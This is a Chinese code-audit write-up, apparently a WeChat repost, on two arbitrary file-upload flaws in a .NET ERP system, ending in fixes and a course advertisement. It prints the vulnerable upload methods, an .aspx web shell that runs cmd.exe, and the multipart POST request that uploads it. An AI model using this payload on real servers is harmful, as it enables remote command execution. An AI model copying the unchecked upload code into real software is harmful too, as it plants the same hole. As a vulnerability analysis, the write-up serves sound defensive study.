.NET 通过代码审计发现 ERP 系统中两个任意文件上传漏洞
2025-1-22 00:45:0 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

文件上传功能是 Web 应用中非常重要且敏感的部分,如果缺乏完善的安全控制,极易成为攻击者利用的突破口。本文通过对 .NET 某 ERP 系统的两个文件上传功能进行代码审计与漏洞分析,揭示了潜在的任意文件上传风险及其危害。

01. 漏洞代码审计

在渗透测试中,通过分析提供的代码,可以看到系统中存在两个文件上传接口:Upload***File 和 Upload***PlanFile。这两个方法分别负责上传文件到 \In***Files\ 和 \In***PlanFile\ 目录下。

1.1 Upload***File 方法

该方法在代码中,文件扩展名仅通过以下代码获取,并未对其进行任何安全校验,具体代码如下所示。
public UploadResult Upload***File() 
{
UploadResult uploadResult = new UploadResult();
try
{
HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0];
string str = HostingEnvironment.MapPath("~/");
string text = str + "\\In***Files\\";

if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}

uploadResult.filename = httpPostedFile.FileName;
uploadResult.guid = Guid.NewGuid().ToString();
uploadResult.extension = Path.GetExtension(httpPostedFile.FileName);
uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName);
uploadResult.filepath = "\\InFiles\\" + uploadResult.guid + uploadResult.extension;

httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension);
}
return uploadResult;
}
通过 Path.GetExtension 获得文件扩展名,并没有做任何过滤,攻击者可以上传如 .aspx、.exe 等危险扩展名的文件,直接威胁到服务器的安全。

1.2 Upload***PlanFile 方法

该方法在代码中,文件类型的安全性完全依赖于客户端,而服务端没有使用 Content-Type 或文件内容头信息进行校验,具体代码如下所示。
public UploadResult Upload***PlanFile()
{
UploadResult uploadResult = new UploadResult();
try
{
HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0];
string str = HostingEnvironment.MapPath("~/");
string text = str + "\\In***PlanFile\\";

if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}

uploadResult.filename = httpPostedFile.FileName;
uploadResult.guid = Guid.NewGuid().ToString();
uploadResult.extension = Path.GetExtension(httpPostedFile.FileName);
uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName);
uploadResult.filepath = "\\In***PlanFile\\" + uploadResult.guid + uploadResult.extension;

httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension);
}
return uploadResult;
}
通过 HttpContext.Current.Request.Files[0] 获取文件类型,攻击者可以伪造合法的 Content-Type,比如 image/jpeg。
02. 漏洞实战复现

在渗透测试中,攻击者可以上传如下 .aspx 文件,上传成功后,攻击者通过访问文件路径触发脚本,执行恶意命令。

<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\whoami.txt"); %>

随后,利用 Burp 发送 HTTP POST 文件请求,服务端返回文件上传结果,包括文件路径、文件名、扩展名等信息,具体如下所示。

POST /api/cgI**/Upload***File HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=-----------------1111
Content-Length: 178

-------------------1111
Content-Disposition: form-data; name="filedata"; filename="1.aspx"
Content-Type: image/png

<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\whoami.txt"); %>
-------------------1111--

上传成功后,访问 http://target.com/In***Files/{guid}.aspx 即可触发恶意脚本,如下图所示。

修复建议

为解决上述问题,建议采取引入白名单机制,仅允许上传特定类型的文件,参考代码如下。
string[] allowedExtensions = { ".jpg", ".jpeg", ".png", ".pdf" };
if (!allowedExtensions.Contains(uploadResult.extension.ToLower()))
{
throw new Exception("文件类型不受支持");
}
将上传文件存储到非Web目录,隔离上传路径,只通过专用API访问等。

小结

综上,文件上传功能的安全性至关重要,稍有不慎就可能导致严重的安全事故。通过上述代码审计和漏洞分析,我们发现了ERP系统中的风险点并提出了有效的修复建议。
03. NET代码审计学习
微软的.NET技术广泛应用于全球企业级产品,包括其知名的ExchangeSharePoint等,国内如某友的Cloud某通的T系列某蝶的云产品等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
截至目前,星球已推出近100节内容 (还在持续增加),包括70个视频+30份PDF文档。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
详细的内容与结构,请参考下方的星球大纲版块,包括但不限于OWASP十大漏洞类型,涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。

专属福利

1. 学习模式: 代码审计知识星球在线录播视频 +后续漏洞挖掘直播、内部专属交流社区答疑解惑;

2. 优享福利:加入.NET代码审计星球后赠送永久dot.Net安全基础入门星球。

欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。

星球门票后期价格随着内容和质量的不断沉淀会适当提高,越早加入越划算! 现在加入星球可享受星球早鸟价,并可领取100元优惠券,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,可扫描下方老师二维码了解更多详情。


文章来源: https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247498371&idx=1&sn=d7e51b293b5afd36bf501f82d547e678&chksm=fa59546ecd2edd789772877b71ddaf889a171c0baebaed5bc5d84e1dc59ec80a6efff9da250e&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh